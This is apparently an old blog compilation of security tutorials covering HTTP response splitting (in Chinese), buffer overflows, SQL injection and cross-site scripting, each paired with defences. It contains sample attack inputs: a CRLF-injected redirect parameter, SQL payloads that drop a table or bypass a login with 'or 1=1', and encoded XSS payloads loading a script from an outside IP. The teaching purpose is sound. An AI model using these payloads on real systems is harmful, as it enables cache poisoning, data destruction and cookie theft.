2005年03月21日

背景知识

HTTP协议中3xx族响应表示客户端需要执行进一步的动作来完成上一次的请求,比如根据返回的响应头内容,向一个新的url发送请求。在该系列响应中,301、302都用来表示请求的内容已被移至另一地址,区别是前者表示该改变是永久性的,客户端以后都应该用新地址来请求内容,而后者则表示该变化是暂时的,只适用于此次请求。

当HTTP返回301、302响应时,要求把被请求内容的新地址包含在Location响应头里,同时,如果客户端是通过GET、POST等方法请求内容的,还要求返回的信息体包含一个简单的html,该html中也要有该新地址的超连接。

下面是一个典型的302响应:

HTTP/1.1 302 Moved Temporarily
Server: Netscape-Enterprise/6.0
Date: Mon, 21 Mar 2005 05:37:07 GMT
Location: https://second.url.com/Foobar
Content-Type: text/html; charset=8859_1
Set-Cookie: JSESSIONID=C2dxo3EI19u1wXw7FAZT8geKiJgM2l4kYVJFs4P0YQVWpQQJsPts!359922971!-1447695079!8001!8002; path=/
Connection: close  

<html DIR=”LTR”>
<head>
    <title>Main View</title>
</head>
<body bgcolor=#FFFFFF text=#000000 link=#000066 alink=#FF0000 vlink=#660066>
<font face=”Verdana” size=”2″>
<table CELLSPACING=’0′ CELLPADDING=’10′ BORDER=’0′ WIDTH=’100%’ HEIGHT=’75%’>  <tr>
    <td valign=”top” width=”100%” > <font class=”ModuleSectionTitleStyle”>fsredirect</font>
    </td>  
</tr>
  <tr>
    <td valign=”top” width=”100%”><html><head><title>302 Moved Temporarily</title></head> <body bgcolor=”#FFFFFF”> <p>This document you requested has moved temporarily.</p> <p>It’s now at <a href=”https://second.url.com/Foobar?”>https://second.url.com/Foobar?</a>.</p> </body></html>     </td>
  </tr>
</table>


302响应经常被被服务端用作重定向机制,在Java中,著名的sendRedirect()方法就是利用302响应来实现重定向的。


HTTP RESPONSE SPLIT

Http response split基于一下HTTP的两个基本特性(漏洞):
    1.    HTTP消息分成头和体两部分,而消息中的第一个空行被作为头的结束和体的开始;
    2.    302响应的Location头需要包含新的目标地址;

从这两点和容易让我们想到,如果Location头自身包含空行,会出现什么情况! 这就是http response split.

我们先来看一下正常的情况。先看下面这段JSP代码:

<%
response.sendRedirect(“/by_lang.jsp?lang=”+ request.getParameter(“lang”));
%>

我们假设这段代码包含在/redir_lang.jsp中,那么我们请求/redir_lang.jsp?lang=English会得到一下响应(Weblogic8.1下):

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwB
E!-1251019693; path=/
Connection: Close
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor=”#FFFFFF”>
<p>This document you requested has moved temporarily.</p>
<p>It’s now at <a
href=”http://10.1.1.1/by_lang.jsp?lang=English”>http://10.1.1.
1/by_lang.jsp?lang=English</a>.</p>
</body></html>

现在,我们如果发送一下请求(注: %0d%0a是换行回车的urlencoding):

/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d
%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Shazam</html>


这次得到的结果将是:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9Us
S!-1251019693; path=/
Connection: Close
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor=”#FFFFFF”>
<p>This document you requested has moved temporarily.</p>
<p>It’s now at <a
href=”http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
&lt;html&gt;Shazam&lt;/html&gt;”>http://10.1.1.1/by_lang.jsp?l
ang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
&lt;html&gt;Shazam&lt;/html&gt;</a>.</p>
</body></html>

这段响应将被客户端(比如浏览器,cache服务器)解释为:
    1.    红色部分是第一个http响应,这是一个没有响应体的302响应;
    2.    蓝色部分是第二个http响应,这是一个正常的200响应,它的消息体包含了19个字节;
    3.    剩下的部分超出了content-length指定的长度,不符合协议,被丢弃。

这样,如果攻击者连续发出两个请求,分别是:

    /redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d
%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Shazam</html>


    /index.html

那么客户端会认为第一个请求的响应是:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0

而第二个请求的响应是:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

<html>Shazam</html>


到这里,攻击者已经成功的实现了欺骗。利用这种欺骗,可以实现各种攻击,比如:
    1.    Cross-Site Scripting(XSS)
    2.    Web Cache Poisoning(defacement): 通过HTTP RESPONSE SPLIT攻击者可以控制CACHE服务器里的某个页面缓存,从而达到修改页面,盗取信息等目的。
    3.    Cross User Attacks
    4.    Hijacking pages with user-specific infomation
    5.    Browser cache poisoning

    




2004年10月29日
  1. Introduction

The essential idea of a Buffer Overflow is based on putting too much information into undersized receptacles. Since the end result could crash the system or smack the memory stacks, Buffer Overflows are also referred to as smashing the stack. In many programming languages, the developer of a program allocates a certain amount of space for variables.

Attackers often try to overflow that space. The attacker gives the program more data than the developer has allocated for that variable. This extra data provided by the attacker is going to spill out, potentially changing the way the program runs and executing code on behalf of the attacker.

Based on the desired outcome and the relative sophistication of how the attack is launched, there are two types of Buffer Overflow attacks.

  1. To Crash the System:       Attacker sends a large amount of information for a given input variable. If proper error checking is not performed, the input will overwrite other data on the stack and potentially crash the system.
  2.  To Gain Access:       Attacker crafts their data so they can have arbitrary code run on the victim system which could lead to access.

Buffer Overflows are caused by not having proper bounds checking in the software. Users are asked what country they live in, an attacker might type in that he or she is a resident of %90 %90 %90 %90 and so on. Usually attackers enter raw elements of machine language code that the attack wants to execute on the target box.

 

  1. Example

 

To better understand how Buffer Overflows work, let’s examine how a normal  program manipulates and uses the memory stack. The stack is a location in memory where a running program places data associated with function calls. Every running process on your machine has its own version of the stack.

When a function call is made, the first things to get pushed on the stack are the

function call arguments. Then the system pushes the return pointer on the stack.

This is return pointer is crucial. The purpose of the return pointer is to indicate where in the calling program we are going to return after the function call finishes running. Remember the function call has a return statement? When it gets to the return statement, the program has to know where to go back in the main program to resume execution. The return pointer, stored on the stack, tells the system where to resume execution in the main program after the function call reaches its return statement. Next on the stack, the system allocates space for various local buffers; these are local variables of the function.

        |          buffer 2                |         button of memory
        |    ( local variable 2)         |             |
        |——————————- |             |   
        |         buffer 1                 |              |   fill direction
        |    ( local variable 1)         |             |
        |——————————–|             |
        |         return pointer         |             \/
        |——————————–|                
        |        function call args      |        Top of memory
        |                                     |

 

When programs don’t check and limit the amount of data copied into a variable’s assigned space, that variable’s space can be overflowed. When that buffer is  overflowed, the data placed in the buffer will go into the neighboring variables’ space and eventually into the return pointer space. Attackers take advantage of
this by precisely tuning the amount and contents of user input data placed into an overflow-able buffer.

If a user is utilizing the program as intended, the Buffer Overflow may never be noticed. It is not until someone enters in a large amount of data as input and the system crashes that the lack of bounds checking may be discovered.

To gain access to the system via a Buffer Overflow, the data that the attacker sends usually :

    1. Consists of machine specific bytecode (low level binary instructions) to execute a command.
    2. Contains a new address for the return pointer.
    3. Points back into the address space of the stack, causing the program to run the attacker’s instructions when it attempts to return from the function call.

In this case: The user data is written into the allocated buffer by the subroutine. If the data size is not checked, the return pointer can be overwritten by user data. Attacker exploits and places machine code in the buffer and overwrites the
return pointer. When function returns, attacker’s code is executed.

 

   |

   |      |          buffer 2                          |         button of memory
  \/      |    ( local variable 2)                   |             
  
à
  |——————————-  |             
  |       |         machine code:                  |         buffer 1 space is overwritten   
  |       |    execute(/bin/sh )                   |             
  |       |——————————– |             
   —-  |         return pointer                   |          return pointer is overwritten  

          |       to exec code                      |
   
      |——————————– |                
          |        function call args                |        Top of memory
          |                                               |

The return pointer plays a critical role in Buffer Overflow attacks. When executing a subroutine, the return pointer tells the system the address of the instruction needed for the next function. By manipulating the return pointer, the system will go to the memory address that contains the attacker code as opposed to the real address.

  1. Defense

 

All of these functions listed are associated with the C and C++ programming languages. C and C++ are particularly problematic with Buffer Overflows and you have to be very careful in programming in them.

strcpy

strncpy

strcat

sprintf

scanf

fgets

gets

getws

memcpy

memmove

 

Buffer Overflows are still possible (although far less likely) in Java, Perl, C#, .NET, and other languages. These other languages have more inherent defenses against Buffer Overflow conditions, in that they perform bounds checking before the application writes the data to a variable. However, you always need to code defensively and should always check the size of user input, regardless of the language you use.

 

Since the stack is designed to hold items associated with function calls and shouldn’t contain executable code, an alternative way to defend against some Buffer Overflows is to change the way the stack works on some machines so that the system will not execute code from the stack.

 

Solaris has a built-in option that can be turned on to implement a nonexecutable system stack. Add the following to /ect/system:

set noexec_user_stack=1

set nonexec_user_stack_log=1

  1. Introduction

The attacker enters special characters and pieces of a SQL statement into their user input to see if they can get them to run on the back-end database, querying or updating data in an unauthorized fashion. There are some set attacks to try, but for the most part, SQL Injection is a trial and error attack with the goal of being able to do something an outsider should not be able to do.

select [field] from [table] where [variable] = ‘[value]’;

update [table] set <variable> = ‘<value>’;

With SQL Injection, the attacker tries to enter many special quote characters to see if they can make the application supply more information. Using SQL Injections involves following three steps.

In addition to the single quotes and double quotes, an attacker may try to enter in many different other characters to see if they can get the back-end database to send some information in return. They might even add individual elements of SQL syntax, including additional select or update statements. The goal is to get the database to operate in a way other than how it was intended to operate by the developers.

 

The most useful element in this list is probably the double dash (–). These characters act as a comment delimiter, and therefore, can be used to tell the database to ignore anything passed to it after the user’s input. That’s quite helpful in avoiding syntax errors induced by SQL Injection attacks.

 

  1. Example

 Suppose we have a Web Application that asks the user for a username, and then looks up the appropriate user ID in a SQL database. Our system will select the ID number from the users table where the name matches what the user types in as a username. The select statement appears on the slide.

select id from users where name = ‘[value]’;

 
Suppose an attacker types in a [value] of Fred followed by a single quote. The Web Application inserts the user input including the single quote into the [value] position of the select statement.

Fred’

 
The resulting SQL has a syntax error. The two single quotes after Fred will cause the SQL parser in the database to generate an error message. When attackers see syntax error, they assume they discovered a SQL Injection vulnerability.

select id from users where name = ‘Fred’’;


This is certainly interesting, but let’s see what an attacker can do once he/she has witnessed an error message based on the single quote.

 

After discovering the error message, the attacker types:

Fred’; drop table users;–

 
The Fred and single quote are followed by a semicolon. As far as the database is concerned, that semicolon will terminate the SQL statement it gets. However, the database will think it has received another SQL statement. This second statement tells it to drop the users table. This statement ends with a semicolon, followed by two dashes. The dashes are required to indicated that the remainder of the line (which will be a ’; applied by the Web application itself) are just part of a comment. Otherwise, the attacker will get another syntax error. The attacker doesn’t want syntax errors now; he/she wants to get SQL statements to execute on the target.

 

The resulting SQL statement:

select id from users where name = ‘Fred’; drop table users;–’;


The drop statement will implement a denial of service attack because the user table is now gone, thus preventing users from authenticating.

 

In addition to the previous attack,  attacker can  grab More Data. This time, the attacker types a username of

’ or 1=1;–  

because 1=1 is always true , so the database will think the username is ‘’ or TRUE. This will retrieve all user ID numbers from the database. Now, the first user created in a user table is usually the administrator of the system. Therefore, if an application gets a list of all users, it will likely just peel off the first user in the list. Without knowing the administrator’s name, the attacker can select the administrator’s user ID number by typing in a name of ‘ or 1=1;–. That could be very useful to the attacker.

 

 

  1. Defense

 

To defend against these attacks, you must build your Web Application so the server-side filters input because client-side filtering is too easy to bypass. By using pre-canned queries(for example , preparedstatement), the Web Application will not accept any new commands from the user and the impact of this attack will be minimized.

 

 

 

  1.  Introduction

 

As you know, SQL Injection attacks the back-end database by going through user input. Cross Site Scripting is an attack against the user’s browsers by going through the front end. Essentially the attacker tries to trick the end user to send data they should not be sending.

Cross Site Scripting allows an attacker to steal information (such as cookies) from users of a vulnerable Web site. So, if your online bank is vulnerable, an attacker might be able to steal your banking cookies.

  1. Example


Cross Site Scripting involves sending scripting code (usually JavaScript or VBScript) to a Web Application that sends data back to the browser. The Web server has an application that reflects user input back to a Web browser. When the code gets to the browser, it is executed.

 

For example, upon reaching a browser, the following script opens a dialog box.

 

%22%2Balert(%27Appscan%20-%20CSS%20attack%20may%20be%20used%27)%2B%22

 

Following is another example , which is more powerful because it will run any javascript from  another website in your current security context.

 

%3Cscript%20src%3D%22http%3A//61.129.115.50/e.js%22%3E%3C/script%3E

 

In user’s browser , it will be:

<script src=”http://61.129.115.50/e.js”></script>

 

 

  1. Defense

Remember, to defend against Cross Site Scripting attacks, you must build your Web Application so server-side filters input because client-side filtering is too easy to bypass.

Characters on the server side that can be used to implement Cross Site Scripting:

=   > < ‘ “ () ; &


So, Web Application Filters should  filter Single quotes, double quotes, semicolons, asterisks, percents, underscores, and other shell and meta-scripting characters.

 

But, before doing filter, you should decode the user input from URL_encoding to plain text. It is because some skilful attack will encoding their malicious cross-script with different schema. For example, the script below :

<script src=”http://61.129.115.50/e.js”></script>

 

Also can be encoded to following  with dynamic length UTF-8 schema:

%c0%bcscript%20src%c0%bd%22http://61.129.115.50/e.js%22%c0%be%c0%bc/script%c0%be

 

So, it is unfeasible to filter against the encoded characters. Instead, you should filter against  the plain text.